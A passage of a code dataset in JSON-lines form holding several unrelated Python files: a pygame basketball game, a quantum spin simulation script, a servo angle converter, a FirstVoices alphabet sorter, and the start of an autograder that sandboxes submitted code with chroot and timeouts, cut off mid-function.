it\n self.exit_button.bg_color = self.CYAN\n else:\n self.exit_button.bg_color = self.BLUE\n\n if self.welcome_to_the_game_message == False: # if the welcome message hadn't been shown\n if self.was_welcome_to_the_game_message_timer == False: # if it's time hasn't started\n threading.Timer(4,\n self.stop_display_welcome_Stage).start() # start it's timer to make the welcome message become true\n self.was_welcome_to_the_game_message_timer = True\n\n if self.start_moving_ball_trap(): # if the moving ball trap started - delay if for 0.5 sec than deploy it\n threading.Timer(0.5, self.trigger_moving_ball_trap).start()\n self.ball_moving_trap_timer_started = True\n\n if not self.mouse_click: # if the ball shouldn't thrown\n if (self.start_the_ball_trap): # check if the moving trap should be on\n basketball.continue_move()\n basketball.move_ball_up_and_down()\n else:\n basketball.stop()\n else:\n if not self.ball_throwed: # if the ball hasn't thrown yet - throw the ball\n basketball.continue_move() # let the ball move\n basketball.set_velocity(0, 0)\n self.ball_throwed = True\n # basketball.body.velocity =400,-550\n aimer.throw_ball(basketball) # throw the ball\n\n if self.start_timer: # check if the timer for reset all variables needs to start, if so start it\n if self.timer_started == False:\n threading.Timer(0.6, self.reset_all_varibales, args=(\n basketball, aimer, block, time_bar)).start() # after 0.6 seconds the function will be triggered\n self.timer_started = True\n else:\n self.start_timer = self.start_new_round(basketball) # check if need to start a new round\n\n if self.scored and self.update_scoreboared == True: # if the scoreboard need to be updated and the score increased\n self.score += 1\n self.new_level = True # a new level needs to be\n self.passed_level = True # the player passed the current level\n self.update_scoreboared = False # no needs to update scoreboard anymore\n self.play_sound(self.swish_sound_file) # play the shot score sound\n\n # print(self.basketball_collosions_with_floor)\n # self.redraw_window(basketball, floor, baketLine, basketball_ring, aimer, background_surface, background_rect\n # , self.mouse_click)\n\n self.redraw_window(basketball, floor, basket_net, aimer, block, time_bar, background_surface,\n background_rect, self.mouse_click) # re draw the window\n pygame.display.update() # update the window\n self.clock.tick(self.FPS) # slow the clock\n self.space.step(1 / self.FPS)\n\n pygame.quit() # quit pygame\n\n def check_player_losing_state(self):\n \"\"\"\n A function whose purpose is to check if the player lost the game\n \"\"\"\n time_left = self.current_level_time - int(self.timer_counter) # calculating the time left for these level\n if time_left < 0 and self.ball_throwed == False: # checking if player lost\n self.player_lost = True\n\n def update_current_level(self):\n \"\"\"\n A function whose purpose is to update current level state\n \"\"\"\n if self.score == 0:\n self.current_level_time = self.time_for_each_level[\"0-1\"]\n elif self.score == 1:\n self.current_level_time = self.time_for_each_level[\"1-2\"]\n elif self.score == 2:\n self.current_level_time = self.time_for_each_level[\"2-3\"]\n elif self.score == 3:\n self.current_level_time = self.time_for_each_level[\"3-4\"]\n elif self.score == 4:\n self.current_level_time = self.time_for_each_level[\"4-5\"]\n elif self.score == 5:\n self.current_level_time = self.time_for_each_level[\"5-6\"]\n elif self.score == 6:\n self.current_level_time = self.time_for_each_level[\"6-7\"]\n elif self.score == 7:\n self.current_level_time = self.time_for_each_level[\"7-8\"]\n elif self.score == 8:\n self.current_level_time = self.time_for_each_level[\"8-9\"]\n elif self.score == 9:\n self.current_level_time = self.time_for_each_level[\"9-10\"]\n\n def reset_traps_state(self, block, basketball):\n \"\"\"\n A function whose purpose is to reset the traps state; mainly used after passing a new level\n ------\n :param block: Block\n the block\n :param basketball: Ball\n the basketball\n \"\"\"\n # resetting all variables related to the traps\n self.ball_moving_trap_timer_started = False\n self.start_the_ball_trap = False\n self.traps_state[\"moving_basket_net\"] = False\n self.traps_state[\"moving_ball\"] = False\n self.traps_state[\"moving_block\"] = False\n\n rand_trap = random.randint(self.traps[\"moving_ball\"], self.traps[\"moving_block\"]) # creating a random int that the trap will be\n # print(rand_trap)\n\n if 0 <= self.score <= 1: # if true than no traps should be triggered\n self.traps_state[\"moving_basket_net\"] = False\n self.traps_state[\"moving_ball\"] = False\n self.traps_state[\"moving_block\"] = False\n\n rand_trap = random.randint(self.traps[\"moving_basket_net\"], self.traps[\"moving_block\"])\n if 2 <= self.score <= 4: # if true than one random trap that it is the basket net or the block trap should be triggered\n if rand_trap == self.traps[\"moving_basket_net\"]:\n self.traps_state[\"moving_basket_net\"] = True\n elif rand_trap == self.traps[\"moving_block\"]:\n self.traps_state[\"moving_block\"] = True\n\n rand = [1, 2, 3]\n random.shuffle(rand)\n if 5 <= self.score <= 6: # if true than the basket net and the block trap should be triggered\n self.traps_state[\"moving_basket_net\"] = True\n self.traps_state[\"moving_block\"] = True\n\n if 7 <= self.score <= 8: # if true than the basket net and the block trap should be triggered, and the block will be closer to the ball\n self.traps_state[\"moving_basket_net\"] = True\n self.traps_state[\"moving_block\"] = True\n\n if self.score == 9: # if true than all traps should be triggered\n self.traps_state[\"moving_ball\"] = True\n self.traps_state[\"moving_basket_net\"] = True\n self.traps_state[\"moving_block\"] = True\n\n if self.traps_state[\"moving_block\"] == True: # making that if the score >= 7 and block trap is triggered than the block will be close to the ball\n if block.on_space == False: # display block on space if needed\n block.display_block()\n block.on_space = True\n if self.score >= 7:\n block.set_pos(basketball.body.position)\n else:\n if block.on_space == True: # remove block from space if needed\n block.remove_and_reset()\n block.on_space = False\n\n def trigger_moving_ball_trap(self):\n \"\"\"\n A function whose purpose is to start moving the ball trap\n \"\"\"\n self.start_the_ball_trap = True\n\n def start_moving_ball_trap(self):\n \"\"\"\n A function whose purpose is to let the main loop know the moving trap hasn't started when it needs to\n :return: bool\n true if the moving ball trap should start\n \"\"\"\n if self.traps_state[\"moving_ball\"] and self.ball_moving_trap_timer_started == False:\n return True\n else:\n return False\n\n def draw_text(self, text, size, x, y):\n \"\"\"\n A function whose purpose is to display text on pygame window\n ------\n :param text: string\n the text need to be drawn\n :param size: int\n the font size\n :param x: float\n the starting x of where the text will drawn\n :param y: float\n the starting x of where the text will drawn\n \"\"\"\n font = pygame.font.Font(self.font_name, size)\n text_surface = font.render(text, True, (0, 0, 0))\n self.win.blit(text_surface, (x, y))\n\n def display_score(self):\n \"\"\"\n A function whose purpose is to display the score on the screen\n \"\"\"\n self.draw_text(\"Score: \" + str(self.score), 25, 420, 40)\n\n def display_welcome_stage(self):\n \"\"\"\n A function whose purpose is to display the welcome message on the screen\n \"\"\"\n if self.score == 0:\n self.draw_text(\"Score 10 shots to win\", 24, 130, 40)\n\n def stop_display_welcome_Stage(self):\n \"\"\"\n A function whose purpose is to stop display the welcome message on the screen\n \"\"\"\n self.welcome_to_the_game_message = True # making that the welcome message had been shown will stop displaying it\n\n def basketball_crosssed_edege(self, basketball):\n \"\"\"\n A function whose purpose is to check if the ball crossed the edges\n ------\n :param basketball: Ball\n the ball\n :return: bool\n true if basketball crossed edges\n \"\"\"\n if basketball.body.position.x > 600 + 10 or basketball.body.position.x < 0 - 10:\n return True\n else:\n return False\n\n def basketball_on_floor(self):\n \"\"\"\n A function whose purpose is to check if the ball collide a lot with the floor\n ------\n :return: bool\n true if the basketball collide too much with the floor\n \"\"\"\n if self.basketball_collosions_with_floor > 2:\n return True\n else:\n return False\n\n def start_new_round(self, basketball):\n \"\"\"\n A function whose purpose is to check if player's shot didn't scored and a new round should start\n ------\n :param basketball: Ball\n the ball\n :return: bool\n if a new round should start - return true\n \"\"\"\n if self.basketball_crosssed_edege(basketball):\n return True\n elif self.basketball_on_floor(): # if ball is on the floor\n return True\n return False\n\n def reset_all_varibales(self, basketball, aimer, block, time_bar):\n \"\"\"\n A function whose purpose is to reset all the variable after a new round or a new level\n ------\n :param basketball: Ball\n the ball\n :param aimer: ThrowingAimer\n the aimer\n :param block: Block\n the block\n :param time_bar: TimeBar\n the time bar\n \"\"\"\n basketball.body.velocity = 0, 0\n basketball.body.position = basketball.get_first_pos() # setting ball position to it's original\n aimer.set_p1(basketball.body.position) # setting aimer p1 to basketball center\n self.update_scoreboared = True # the scoreboard can be be updated now\n self.defiently_not_scored = False # because there's a new round\n self.scored = False # because there's a new round\n self.basketball_collosions_with_floor = 0 # because there's a new round\n self.mouse_click = False # because there's a new round\n self.timer = 0 # the new round reset the timer to 0\n self.start_timer = False # there is no need to start the reset variables timer because the new roung\n self.timer_started = False # timer hasn't started\n self.ball_throwed = False # ball didn't thrown because of the new round\n\n for key, value in self.collosions_with_basket_sensors.items(): # resetting the collision with sensor to false because there's a new round\n self.collosions_with_basket_sensors[key] = False\n\n if self.new_level: # if a new level should be\n x, y = random.randint(20, 200), random.randint(50, 420) # make a random position for the basketball\n basketball.body.position = (x, y) # change ball position\n basketball.x = x # resetting the ball original position\n basketball.y = y # resetting the ball original position\n self.reset_traps_state(block, basketball) # check for new traps\n self.new_level = False # there is no new level now\n self.start_date_time = datetime.now() # update start date time\n self.passed_level = False # level hasn't passed\n self.update_current_level()\n time_bar.current_level_time = self.current_level_time # update the current level time of the time bar\n\n def begin(self, arbiter, space, data):\n \"\"\"\n A function whose purpose is to let the ball go through the net\n ------\n :return: bool\n always false - because on pymunk when returning false on these handler function between the pymunk objects\n won't be a collision and we need these to make the ball go through the net\n \"\"\"\n return False\n\n def upper_rect_begin(self, arbiter, space, data):\n \"\"\"\n A function whose purpose is to let the ball go through the upper sensor and update that there was a\n collision between the ball and the upper sensor\n ------\n :return: bool\n always false - because on pymunk when returning false on these handler function - between the pymunk objects\n won't be a collision and we need these to make the ball go through these sensor\n \"\"\"\n self.collosions_with_basket_sensors[\"upper_rect\"] = True # update that the ball went through the sensor\n return False\n\n def lower_rect_begin(self, arbiter, space, data):\n \"\"\"\n A function whose purpose is to let the ball go through the lower sensor and also checks if the player scored his shot\n ------\n :return: bool\n always false - because on pymunk when returning false on these handler function - between the pymunk objects\n won't be a collision and we need these to make the ball go through these sensor\n \"\"\"\n if self.collosions_with_basket_sensors[\"upper_rect\"] == False: # if there wasn't a collision with the upper rect\n # than that means the ball went from the bottom - which means the player definitely didn't scored\n self.defiently_not_scored = True\n elif self.defiently_not_scored == False: # if definitely not scored = false - means that the ball came from above\n # and the player scored\n self.scored = True\n return False\n\n def left_rect_begin(self, arbiter, space, data):\n \"\"\"\n A function whose purpose is to let the ball go through the left sensor\n ------\n :return: bool\n always false - because on pymunk when returning false on these handler function - between the pymunk objects\n won't be a collision and we need these to make the ball go through these sensor\n \"\"\"\n if self.collosions_with_basket_sensors[\"upper_rect\"] == False: # if the ball collide with these sensor before the upper\n # means that definitely there wasn't a score\n self.defiently_not_scored = True\n return False\n\n def basketball_collision_with_floor_begin(self, arbiter, space, data):\n \"\"\"\n A function whose purpose is to play the bounce sound when the ball collides with the floor or the basket lines\n ------\n :return: bool\n always true to make a collision between the handler object\n \"\"\"\n self.play_sound(self.bounce_sound_file)\n return True\n\n def basketball_floor_post_solve(self, arbiter, space, data):\n \"\"\"\n A function whose purpose is to increase by one collision with the floor\n \"\"\"\n self.basketball_collosions_with_floor += 1\n # self.play_sound('sounds/BOUNCE1.wav')\n # self.play_sound('sounds/BBOUNCE2.wav')\n\n def play_sound(self, sound_file):\n \"\"\"\n A function whose purpose is to play a sound\n ------\n :param sound_file: sound file\n the sound that should be played\n \"\"\"\n sound = mixer.Sound(sound_file)\n sound.play() # playing the sound\n\n","repo_name":"sofgiman/Super-Basketball","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":29714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7583858712","text":"from capy import *\nfrom operators import *\nfrom qChain import *\nfrom utility import *\nfrom IPython import embed\n\nimport os\nimport time\nimport numpy as np \nimport scipy.signal as scs\nimport matplotlib.pyplot as plt\n\n# TODO: figure save and reconstruction save\n# multiprocessing add\n# Add metric information about reconstruction to plots\n\n\n\n\n\ndef epsilon_find(sim_vars, erange):\n \"\"\"\n Computes the reconstruction error using a range of epsilon values for \n the same simulation parameters. \n \"\"\"\n errors = []\n for epsilon in erange:\n sim_vars[\"epsilon\"] = epsilon\n original, recon = recon_pulse(sim_vars, plot=False, savefig=False)\n # compute error\n errors.append(rmse(original,recon))\n\n # plot RMSE error against epsilon\n plt.plot(erange, errors)\n plt.figure(num=1, size=[16,9])\n plt.xlabel(\"Epsilon\")\n plt.ylabel(\"RMSE\")\n plt.title(\"Reconstruction Error vs. Epsilon\")\n plt.grid(True)\n plt.show()\n\nif __name__ == \"__main__\":\n\n ###############################################\n # Compressive Reconstruction of Neural Signal #\n ###############################################\n # set random seed for tuning frequency choice\n np.random.seed(141)\n # define user parameters for simulation run\n # sim_vars = {\"measurements\": 50, # number of measurements\n # \"epsilon\": 0.01, # radius of hypersphere in measurement domain\n # \"sig_amp\": 40, # amplitude of magnetic field signal in Gauss/Hz\n # \"sig_freq\": 5023, # frequency of magnetic field signal\n # \"tau\": 0.033, # time events of pulses\n # \"f_range\": [4500,5500,2], # frequency tunings of BECs\n # \"noise\": 0.00, # noise to add to measurement record SNR percentage e.g 0.1: SNR = 10\n # \"zlamp\": 0,\n # \"method\": \"default\",\n # \"savef\": 5000,\n # \"fs\": 2.2e4} # sasvempling rate for measurement transform\n\n # # define user parameters for simulation run\n # sim_vars = {\"measurements\": 40, # number of measurements\n # \"epsilon\": 0.01, # radius of hypersphere in measurement domain\n # \"sig_amp\": 10, # amplitude of magnetic field signal in Gauss/Hz\n # \"sig_freq\": 1000, # frequency of magnetic field signal\n # \"tau\": 0.01, # time events of pulses\n # \"f_range\": [900,1100,1], # frequency tunings of BECs\n # \"noise\": 0.00, # noise to add to measurement record SNR percentage e.g 0.1: SNR = 10\n # \"zlamp\": 0,\n # \"zlfreq\": 1000,\n # \"method\": \"default\",\n # \"savef\": 5000,\n # \"fs\": 2.2e4} # sasvempling rate for measurement transform\n\n\n\n # epsilon range\n #erange = np.linspace(0.0,0.05, 50)\n #epsilon_find(sim_vars, erange)\n\n #bfreqs1, projs1 = recon_pulse(sim_vars, plot=True, savefig=True)\n \n # sim_vars[\"zlamp\"] = 0\n # bfreqs2, projs2 = recon_pulse(sim_vars, plot=False) v \n\n # # plot those bad boys against each other\n # #plt.style.use('dark_background')\n # plt.plot(bfreqs1, -(2*projs1-1), 'o-', alpha=0.3,linewidth=0.6)\n # # plt.plot(bfreqs2, projs2, 'g-')\n # plt.title(r\" 'Rabi' spectroscopy for 1000 Hz $\\sigma_z$ AC signal\")\n # # plt.legend([r\"With $\\sigma_z $ line noise\",r\"Without $\\sigma_z $ line noise\"])\n # plt.ylabel(r\"$\\langle F_z \\rangle $\")\n # plt.xlabel(\"Rabi Frequency (Hz)\")\n # plt.figure(num=1, figsize=[16,9])\n # plt.show()\n #exit()\n ###############################################\n \n\n\n # # set the bajillion simulation parameters. There simply isn't a better way to do this. \n # # define generic Hamiltonian parameters with Zeeman splitting and rf dressing\n params = {\"tstart\": 0, # time range to simulate over\n \"tend\": 1e-3,\n \"dt\": 1e-8,\n \"larmor\": gyro, # bias frequency (Hz)\n \"rabi\": 1001, # dressing amplitude (Hz/2)\n \"rff\": gyro, # dressing frequency (Hz)\n \"nf\": 1000, # neural signal frequency (Hz)\n \"sA\": 0, # neural signal amplitude (Hz/G)\n \"nt\": 0.00, # neural signal time event (s)\n \"nte\": 0.09,\n \"dett\": 0.1, # detuning sweep start time\n \"detA\": 2000, # detuning amplitude\n \"dete\": 0.49, # when to truncate detuning\n \"beta\": 40, # detuning temporal scaling\n \"xlamp\": 0, # amplitude of \n \"xlfreq\": 1000,\n \"xlphase\": 0.0,\n \"zlamp\": 0,\n \"zlfreq\": 1000,\n \"zlphase\": 0.0,\n \"proj\": meas1[\"0\"], # measurement projector\n \"savef\": 100} # plot point frequency\n \n\n shift = (params['rabi']**2)/(4*params[\"rff\"]) + (params[\"rabi\"]**4/(4*(params[\"rff\"])**3))\n params[\"larmor\"] += shift\n\n atom = SpinSystem(init=\"zero\")\n tdomain, probs = atom.state_evolve(params=params, bloch=[False, 1], lite=False)\n \n #atom.bloch_plot(pnts)\n\n # time1, pp, Bfield1 = atom.field_get(params)\n # plt.plot(time1, Bfield1[:,1])\n # plt.show()\n # exit()\n print(atom.probs[-1])\n atom.exp_plot(tdomain, probs, \"Evolution of \")\n\n\n\n","repo_name":"QCmonk/Atomicpy","sub_path":"Atomic_recon.py","file_name":"Atomic_recon.py","file_ext":"py","file_size_in_byte":5930,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"13598790104","text":"class AngleConvertor:\n ANGLE_AMPLITUDE = 180\n MAXIMUM_ANGLE = 90\n MINIMUM_ANGLE = -90\n ANGLE_CORRECTION = 90\n\n def __init__(self, servoOffset, servoAmplitude, servoNumber, maximumPitch=float(\"inf\")):\n self.servoOffset = servoOffset\n self.servoAmplitude = servoAmplitude\n self.servoNumber = servoNumber\n self.maximumPitch = maximumPitch\n\n def getServoNumber(self):\n return self.servoNumber\n\n def getConvertedAngle(self, angle):\n angle = self._correctAngle(angle) + self.ANGLE_CORRECTION\n angle = float(angle) / self.ANGLE_AMPLITUDE * self.servoAmplitude + self.servoOffset\n angle = min(angle, self.maximumPitch)\n return angle\n\n def _correctAngle(self, angle):\n if angle > self.MAXIMUM_ANGLE:\n return self.MAXIMUM_ANGLE\n elif angle < self.MINIMUM_ANGLE:\n return self.MINIMUM_ANGLE\n else:\n return angle\n\nelectromagnetAngleConvertorData = {\"servoOffset\": 650,\n \"servoAmplitude\": 500,\n \"servoNumber\": 2}\npitchServoAngleConvertorData = {\"servoOffset\": 745,\n \"servoAmplitude\": 1880,\n \"servoNumber\": 1,\n \"maximumPitch\": 2100}\nyawServoAngleConvertorData = {\"servoOffset\": 630,\n \"servoAmplitude\": 1925,\n \"servoNumber\": 0}\n\nelectromagnetAngleConvertor = AngleConvertor(**electromagnetAngleConvertorData)\npitchServoAngleConvertor = AngleConvertor(**pitchServoAngleConvertorData)\nyawServoAngleConvertor = AngleConvertor(**yawServoAngleConvertorData)\n","repo_name":"vincentsavard/design3","sub_path":"iRondelle/lib/core/devices/AngleConvertor.py","file_name":"AngleConvertor.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34342179039","text":"import logging\nimport re\nimport unicodedata\n\n\n# From https://github.com/roedoejet/mothertongues/blob/master/mtd/processors/sorter.py\n# with additions for ignorables and out-of-vocab chars (on branch: dev.sorter)\nclass ArbSorter:\n \"\"\"Sort entries based on alphabet. Thanks to Lingweenie: https://lingweenie.org/conlang/sort.html\n\n Given a sequence of letters (arbitrary-length Unicode strings), convert each into a numerical code.\n Then, convert any string to be sorted into its numerical equivalent and sort on that.\n\n Examples:\n Here is an example of a sorter.\n\n >>> sorter = ArbSorter(['a', 'b', 'c'])\n >>> sorter.word_as_values('abc')\n [0, 1, 2]\n >>> sorter.values_as_word([0, 1, 2])\n 'abc'\n\n Args:\n order (list[str]): The order to sort by.\n \"\"\"\n\n def __init__(self, order: list[str], ignorable: list[str] | None = None):\n self.ignorable = [] if ignorable is None else ignorable\n split_order = [re.escape(x) for x in sorted(order, key=len, reverse=True)]\n self.splitter = re.compile(f'({\"|\".join(split_order)})', re.UNICODE)\n # Next, collect weights for the ordering.\n self.char_to_ord_lookup = {order[i]: i for i in range(len(order))}\n self.ord_to_char_lookup = {v: k for k, v in self.char_to_ord_lookup.items()}\n self.oov_start = 10000\n\n # Turns a word into a list of ints representing the new\n # lexicographic ordering. Python, helpfully, allows one to\n # sort ordered collections of all types, including lists.\n def word_as_values(self, word: str) -> list[int]:\n \"\"\"Turn word into values\"\"\"\n # ignore empty strings\n word = [x for x in self.splitter.split(word) if x]\n values = []\n for char in word:\n if char in self.ignorable:\n continue\n if char in self.char_to_ord_lookup:\n values.append(self.char_to_ord_lookup[char])\n else:\n # OOV (can be multiple OOVs strung together)\n for oov in char:\n if oov in self.ignorable:\n continue\n oov_index = self.oov_start + ord(oov)\n self.char_to_ord_lookup[oov] = oov_index\n self.ord_to_char_lookup[oov_index] = oov\n values.append(oov_index)\n return values\n\n def values_as_word(self, values: list[int]) -> str:\n \"\"\"Turn values into word\"\"\"\n return \"\".join([self.ord_to_char_lookup[v] for v in values])\n\n def __call__(self, item_list, target, sort_key=\"sorting_form\"):\n \"\"\"Return sorted list based on item's (word's) sorting_form\"\"\"\n sorted_list = []\n for item in item_list:\n item[sort_key] = self.word_as_values(item[target])\n sorted_list.append(item)\n return sorted(sorted_list, key=lambda x: x[sort_key])\n\n\nclass CustomSorter(ArbSorter):\n \"\"\"FV-specific custom sort tweaks.\n\n Adds space as first alphabet item. Defines a map from integer values\n to custom sort characters as a string. Adds a flag before out-of-vocab characters.\n\n Examples:\n >>> sorter = CustomSorter(['a', 'b', 'c'])\n >>> sorter.word_as_values('ab abcd')\n [1, 2, 0, 1, 2, 3, 10100]\n >>> sorter.word_as_sort_string('ab abcd')\n '!# !#$⚑d'\n \"\"\"\n\n # Basic Latin plane (sans whitespace)\n basic_latin = range(32, 127)\n # Latin Extended planes A+B\n extended_latin = range(256, 592)\n # Remove double quote, backslash\n exclude_chars = [34, 92]\n\n max_alphabet_length = len(basic_latin) + len(extended_latin) - len(exclude_chars)\n\n space = \" \"\n out_of_vocab_flag = unicodedata.lookup(\"BLACK FLAG\")\n\n logger = logging.getLogger(__name__)\n\n def __init__(self, order: list[str], ignorable: list[str] | None = None):\n order = [self.space] + order\n self._init_custom_order(len(order))\n\n super().__init__(order, ignorable)\n\n def _init_custom_order(self, alphabet_length: int) -> None:\n custom_char_range = [\n i\n for i in list(self.basic_latin) + list(self.extended_latin)\n if i not in self.exclude_chars\n ]\n if alphabet_length > len(custom_char_range):\n self.logger.warning(\n \"Alphabet length ({}) exceeds possible custom order ({})\".format(\n alphabet_length, self.max_alphabet_length\n )\n )\n self.custom_order = [chr(i) for i in custom_char_range[0:alphabet_length]]\n\n def custom_sort_char(self, ord_value: int) -> str:\n \"\"\"Converts a single character ord value to custom sort character equivalent\"\"\"\n if ord_value in range(len(self.custom_order)):\n return self.custom_order[ord_value]\n elif ord_value >= self.oov_start:\n return self.out_of_vocab_flag + chr(ord_value - self.oov_start)\n\n def word_as_sort_string(self, word):\n \"\"\"Convert word into a string which unicode-sorts the same way list of int values does.\"\"\"\n values = self.word_as_values(word)\n custom_chars = [self.custom_sort_char(i) for i in values]\n return \"\".join(custom_chars)\n\n def word_as_chars(self, word) -> list[str]:\n \"\"\"Convert word into a list of characters for use in fv games.\"\"\"\n values = self.word_as_values(word)\n chars = [self.ord_to_char_lookup[v] for v in values]\n return chars\n\n\ndef nfc(string: str) -> str:\n return unicodedata.normalize(\"NFC\", unicodedata.normalize(\"NFD\", string))\n\n\ndef clean_input(string: str) -> str:\n return nfc(string.strip())\n","repo_name":"First-Peoples-Cultural-Council/fv-be","sub_path":"firstvoices/backend/utils/character_utils.py","file_name":"character_utils.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"215830355","text":"from abc import ABC, abstractmethod\nimport enum\nimport dataclasses\nfrom rich.progress import Progress\nimport yaml\nfrom multiprocessing import Process, Pipe\nimport os\nfrom timeout_decorator import timeout, timeout_decorator\nimport importlib.util\nimport time\nimport psutil\nfrom typing import Generic, TypeAlias, TypeVar, Callable\nimport sys\nimport traceback\n\nclass TestCase(ABC): \n # abstract class for all kinds of testers \n # e.g. pre-written test cases, solution code + data generator, etc.\n\n class TestResultType(enum.Enum):\n pass_ = 0 # because of the keyword pass\n wrong_answer = 1\n time_limit_exceeded = 2\n memory_limit_exceeded = 3\n syntax_error = 4\n runtime_error = 5\n system_error = 6\n solution_not_found = 7\n\n @dataclasses.dataclass\n class TestResult:\n result_type : 'TestCase.TestResultType'\n time_used : float = -1 # in miliseconds\n memory_used : float = -1 # in MB\n expected : any = None # only useful when result_type is wrong_answer\n actual : any = None # only useful when result_type is wrong_answer\n err_message : str = None # error message\n stack_trace : str = None # stack trace\n test_case_id: int = -1\n \n @dataclasses.dataclass\n class TestLimits:\n time_limit : float = 3000\n memory_limit : float = 512\n \n def __init__(self, test_case, tested_func_name: str, case_name : str = \"\", test_limits : TestLimits = TestLimits()):\n self.tested_func_name = tested_func_name\n self.case_name = case_name\n self.test_case = test_case\n self.test_results : list[TestCase.TestResult] = []\n self.test_limits = test_limits\n @abstractmethod\n def run_test(self, evaluated_module_path : str) -> TestResult:\n pass\n \n\nclass PrewrittenScriptCase(TestCase):\n \n @dataclasses.dataclass\n class EvaluatorResult: \n is_correct : bool\n expected : any = None\n actual : any = None \n msg : str = None\n\n class EvaluatorBuilder:\n @staticmethod\n def assert_cond_true(cond : callable, *input_args, **input_kwds):\n def evaluator(func : callable) -> PrewrittenScriptCase.EvaluatorResult:\n ret = func(*input_args, **input_kwds)\n cond_ret = cond(ret)\n if cond_ret:\n return PrewrittenScriptCase.EvaluatorResult(True)\n else:\n return PrewrittenScriptCase.EvaluatorResult(False, msg=\"in assert cond true evaluator, the return value of the tested function is \" + str(ret) + \" which does not satisfy the condition\")\n return evaluator\n @staticmethod \n def assert_eq(value : any, *input_args, **input_kwds):\n def evaluator(func : callable) -> PrewrittenScriptCase.EvaluatorResult:\n ret = func(*input_args, **input_kwds)\n if ret == value:\n return PrewrittenScriptCase.EvaluatorResult(True)\n else:\n return PrewrittenScriptCase.EvaluatorResult(False, msg=\"in assert eq evaluator, the return value of the tested function is \" + str(ret) + \" which does not equal to \" + str(value))\n return evaluator\n @staticmethod\n def assert_lt(value : any, *input_args, **input_kwds):\n def evaluator(func : callable) -> PrewrittenScriptCase.EvaluatorResult:\n ret = func(*input_args, **input_kwds)\n if ret < value:\n return PrewrittenScriptCase.EvaluatorResult(True)\n else:\n return PrewrittenScriptCase.EvaluatorResult(False, msg=\"in assert lt evaluator, the return value of the tested function is \" + str(ret) + \" which is not less than \" + str(value))\n return evaluator\n \n @staticmethod\n def assert_gt(value : any, *input_args, **input_kwds):\n def evaluator(func : callable) -> PrewrittenScriptCase.EvaluatorResult:\n ret = func(*input_args, **input_kwds)\n if ret > value:\n return PrewrittenScriptCase.EvaluatorResult(True)\n else:\n return PrewrittenScriptCase.EvaluatorResult(False, msg=\"in assert gt evaluator, the return value of the tested function is \" + str(ret) + \" which is not greater than \" + str(value))\n return evaluator\n \n @staticmethod\n def assert_le(value : any, *input_args, **input_kwds):\n def evaluator(func : callable) -> PrewrittenScriptCase.EvaluatorResult:\n ret = func(*input_args, **input_kwds)\n if ret <= value:\n return PrewrittenScriptCase.EvaluatorResult(True)\n else:\n return PrewrittenScriptCase.EvaluatorResult(False, msg=\"in assert le evaluator, the return value of the tested function is \" + str(ret) + \" which is not less than or equal to \" + str(value))\n return evaluator\n \n @staticmethod\n def assert_ge(value : any, *input_args, **input_kwds):\n def evaluator(func : callable) -> PrewrittenScriptCase.EvaluatorResult:\n ret = func(*input_args, **input_kwds)\n if ret >= value:\n return PrewrittenScriptCase.EvaluatorResult(True)\n else:\n return PrewrittenScriptCase.EvaluatorResult(False, msg=\"in assert ge evaluator, the return value of the tested function is \" + str(ret) + \" which is not greater than or equal to \" + str(value))\n return evaluator\n\n @staticmethod\n def assert_content_in_set(value : set, *input_args, **input_kwds):\n def evaluator(func : callable) -> PrewrittenScriptCase.EvaluatorResult:\n ret = func(*input_args, **input_kwds)\n ret = set(ret)\n if ret.issubset(value):\n return PrewrittenScriptCase.EvaluatorResult(True)\n else:\n return PrewrittenScriptCase.EvaluatorResult(False, msg=\"in assert content in set evaluator, the return value of the tested function is \" + str(ret) + \" which is not a subset of \" + str(value))\n return evaluator\n \n EvaluatorT = Callable[[Callable], EvaluatorResult]\n def __init__(self, evaluator : EvaluatorT, tested_func_name : str, case_name: str = \"\", test_limits: TestCase.TestLimits = TestCase.TestLimits()):\n assert callable(evaluator)\n super().__init__(evaluator, tested_func_name, case_name, test_limits)\n def run_test(self, evaluated_module_path: str) -> TestCase.TestResult:\n # start a new process \n # this is to prevent dangerous behavior from the tested code\n # use chroot and seccomp to do this\n \n # check if /tmp/autograde exists\n # if not present, make folder called /tmp/autograde\n # and chmod it to no permission\n # then chroot to that folder\n if not os.path.exists('/tmp/autograde'):\n os.mkdir('/tmp/autograde')\n os.chmod('/tmp/autograde', 0o000) # no permission to read, write or execute\n \n \n module_specs = importlib.util.spec_from_file_location('module', evaluated_module_path)\n module = importlib.util.module_from_spec(module_specs)\n module_specs.loader.exec_module(module)\n @timeout(self.test_limits.time_limit / 1000)\n def get_test_ret(): \n evaluated_func = getattr(module, self.tested_func_name)\n return self.test_case(evaluated_func)\n \n def proc_task(children_pipe : Pipe, get_test_ret : type(get_test_ret)): \n # this is to prevent the tested code from writing anythings to the disk\n try : \n os.chroot('/tmp/autograde') # limit read and write after loading\n free_nonroot_uid = 65534 \n os.setuid(free_nonroot_uid)\n st_time = time.time()\n evaluator_ret = get_test_ret()\n ed_time = time.time()\n ret = TestCase.TestResult(self.TestResultType.pass_, (ed_time - st_time) * 1000)\n if not evaluator_ret.is_correct: \n ret.result_type = TestCase.TestResultType.wrong_answer\n ret.expected = evaluator_ret.expected\n ret.actual = evaluator_ret.actual\n ret.err_message = evaluator_ret.msg\n children_pipe.send(ret)\n children_pipe.close()\n exit()\n except Exception as e:\n stack_trace_str = traceback.format_exc()\n if isinstance(e, timeout_decorator.TimeoutError):\n children_pipe.send(TestCase.TestResult(TestCase.TestResultType.time_limit_exceeded, err_message=str(e), stack_trace=stack_trace_str))\n if isinstance(e, SyntaxError):\n children_pipe.send(TestCase.TestResult(TestCase.TestResultType.syntax_error, err_message=str(e), stack_trace=stack_trace_str))\n children_pipe.send(TestCase.TestResult(TestCase.TestResultType.runtime_error, err_message=str(e), stack_trace=stack_trace_str))\n children_pipe.close()\n exit()\n \n children_pip, parent_pip = Pipe()\n st_time = time.time()\n prog = Process(target=proc_task, args=(children_pip, get_test_ret))\n prog.start()\n max_mem_usage = 0\n while True: \n # checking the memory usage\n try:\n prog_info = 